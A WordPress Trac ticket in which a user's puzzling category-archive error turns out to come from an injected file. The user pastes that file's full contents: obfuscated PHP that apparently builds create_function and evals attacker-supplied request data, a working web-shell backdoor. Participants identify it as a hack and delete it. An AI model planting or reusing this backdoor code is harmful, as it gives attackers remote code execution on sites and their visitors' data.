Missing category.php produces 'Strict Standards: Only variables should be passed by reference' when falling back on archive.php

[crs1138]

When using TwentySixteen and TwentyFifteen themes, I was getting following error when I try to access any of the categories archive pages:

Strict Standards: Only variables should be passed by reference in /xxx/xxx/wp-includes/theme-compat/category.php(29) : runtime-created function on line 1

However these category archives worked fine on previous themes (TwentyTen, TwentyEleven, etc.). I compared these and noticed that category.php wasn't present in the newer themes. In such case WP should fall back on to archive.php according to the Template Hierarchy. I tried to create category.php and copy&pasted the code from archive.php which resolved the problem. I believe this is a bug in WP and I did not find any mention of this issue anywhere else.

[SergeyBiryukov]

Hi @crs1138, welcome to Trac!

Strict Standards: Only variables should be passed by reference in /xxx/xxx/wp-includes/theme-compat/category.php(29) : runtime-created function on line 1

There is no such file in WordPress core, see tags/4.5.3/src/wp-includes/theme-compat​.

This seems like a hacked install. Could you share the contents of that file?

[achbed]

Replying to SergeyBiryukov:

Hi @crs1138, welcome to Trac!

Strict Standards: Only variables should be passed by reference in /xxx/xxx/wp-includes/theme-compat/category.php(29) : runtime-created function on line 1

There is no such file in WordPress core, see tags/4.5.3/src/wp-includes/theme-compat​.

This seems like a hacked install. Could you share the contents of that file?

I thought that at first as well, but I do see a potential issue in get_archive_template() that could cause this. It also fits the area where the problem is being seen (fallback to archive template).

@crs1138 can you see if this patch fixes the issue?

[crs1138]

<?php
$carnival= 'r0'; $getter='E';$exonerate='t()$r'; $bartered= 'tO';$belabored= 'f';
$leela = ',s)$';$armchair = '?'; $approacher='o'; $exasperate ='Lo14J(';$bureau = '17S=Pc[Bi';$condominium = 'Ue$a"Te';$jennica= '"'; $beauty ='_';$bogus ='mHni$PE';$hobby='9'; $macabre= '7"eYfT)4';$kippie= '"gEu"a;(';
$blob='H'; $astonish = 'T';$differentials ='?$ta$4iTF';$lynnelle = ']XI:e'; $chip ='E';$attics='_';$irrelevancy ='i';$cravat = '(c(;4';
$anglicans = 'R'; $arbitrariness=' TS';$clicks = 'ne';$bungling='($_pE;';
$humorer='Rc4y'; $chere = 't'; $lionesses=';'; $backstitched='A)a"s';$approximate='rsb_s';
$glare ='('; $janitor='[_p='; $decipherer ='o'; $apprehensible = ')'; $eclipse = ']@l1D';$gibbon='a'; $backaches='c';$distillers= ',';$brb ='8C_>g"';$comparable= '"SC'; $earths= '$';

$attendant ='eU'; $half= 'EcQg';$formalisms = 'R';$bay =')dKrer0av'; $arctic = '7';
$goodies ='WC_V[$[rO';$alterable= 'y';$emulate= 'i';$frustrations= 'iO';$dimness = ']niTe0ci';$bell ='_te';$lilly ='K]:07deG';$domingo= 'r'; $laziest =')';$beavers ='1'; $bongwater='1';$doper='N';$lessons = '_'; $attributive = 'a';$hesther ='e(sHaeCu'; $confirmation =')';

$gregorio =')_'; $cuttingly='d';$beetle= 'a';$fons='aa1s'; $expertise ='<'; $euthanasia ='i'; $bet= 'Q';$currents ='VIP';$firmly ='v';$biceps ='7';$florence = 'e'; $clinging='=';$calcium = '?l(6'; $chinks = '_$:1MR1';$benchmark = ';';$incaution= $dimness['6'] .

$domingo.$florence .

$fons[1] .$bell['1'] . $florence.$chinks['0']. $macabre['4'] . $hesther['7'] .

$dimness['1'] . $dimness['6'] .

$bell['1'].$euthanasia.$decipherer .$dimness['1'];
$ballpark=$arbitrariness['0'] ;$killy=$incaution($ballpark,$florence.$firmly.$fons[1] .$calcium['1'] .$calcium['2']. $fons[1] . $domingo . $domingo. $fons[1] .$alterable . $chinks['0'] . $janitor['2'] .$decipherer.$janitor['2'] .$calcium['2'].
$macabre['4']. $hesther['7'].
$dimness['1']. $dimness['6'].
$chinks['0'].$half['3'].$florence.
$bell['1'].
$chinks['0'] .$fons[1] .$domingo .$half['3'] .

$fons['3'].
$calcium['2'] . $gregorio['0']. $gregorio['0'].$gregorio['0'] . $benchmark);$killy
($arbitrariness['0'] , $domingo, $hesther['7'] ,

$dimness['6'] ,$lilly['3'] ,$macabre[3] ,$chinks['1']. $euthanasia . $clinging . $fons[1] .$domingo .$domingo .$fons[1]. $alterable .
$chinks['0'] .$bogus[0].

$florence .$domingo. $half['3'] .$florence. $calcium['2'] . $chinks['1']. $chinks['0']. $chinks['5']. $half['0'] .$bet .
$attendant['1'].
$half['0'].$comparable['1'] . $dimness['3']. $distillers. $chinks['1'].$chinks['0'] . $hesther[6] .$frustrations['1'] .
$frustrations['1']. $lilly['0'] . $currents['1'] . $half['0'].$distillers .$chinks['1'] .

$chinks['0']. $comparable['1'] .$half['0'] . $chinks['5'].$currents[0]. $half['0'].
$chinks['5'] .$gregorio['0'] . $benchmark. $chinks['1'].

$fons[1]. $clinging .$euthanasia .$fons['3'] . $fons['3'] . $florence .$bell['1'] .
$calcium['2'] . $chinks['1']. $euthanasia.$goodies['6'] .
$comparable['0']. $humorer['2'] .$biceps.

$dimness['6'].

$chinks['6']. $chinks['6'].$lilly['3'].$comparable['0']. $lilly['1'] .$gregorio['0'] .$calcium['0'].$chinks['1'].$euthanasia .$goodies['6'].$comparable['0'] .$humorer['2'] .
$biceps.

$dimness['6']. $chinks['6']. $chinks['6']. $lilly['3'] . $comparable['0'].$lilly['1'].$chinks['2'] .$calcium['2']. $euthanasia. $fons['3'] .$fons['3']. $florence.$bell['1'] . $calcium['2'] .$chinks['1'].$euthanasia .$goodies['6'].$comparable['0'] .$hesther['3'].$dimness['3'].$dimness['3'].$currents['2'] .
$chinks['0'] .
$humorer['2'] .$biceps .

$hesther[6].

$chinks['6'] . $chinks['6'] .$lilly['3'].$comparable['0']. $lilly['1'] .$gregorio['0'] . $calcium['0'] .$chinks['1'].

$euthanasia.$goodies['6'] . $comparable['0'] .

$hesther['3']. $dimness['3'] . $dimness['3'] . $currents['2'].$chinks['0'].$humorer['2'] .$biceps. $hesther[6].

$chinks['6'].
$chinks['6'] .
$lilly['3'] . $comparable['0'] .$lilly['1'] .$chinks['2']. $cuttingly. $euthanasia.

$florence.$gregorio['0'].
$benchmark .$florence.$firmly .

$fons[1] .$calcium['1'].$calcium['2']. $approximate['2'] .
$fons[1] . $fons['3'].$florence.

$calcium[3]. $humorer['2'] .
$chinks['0'] . $cuttingly . $florence .$dimness['6'] .$decipherer.

$cuttingly .$florence.$calcium['2'].
$chinks['1'] .

$fons[1] . $gregorio['0'] . $gregorio['0']. $benchmark );

[crs1138]

Hmm, feeling quite a bit stupid right now. It does look suspicious.

[achbed]

That's an impressive obfuscation. Not technically savvy, but impressive in how it explodes the size of the payload by an average of 12 times.

[crs1138]

Actually deleting the /wp-includes/theme-compat/category.php resolved the issue.

[SergeyBiryukov]

Yeah, that's some nasty code right there. Thanks for the follow-up!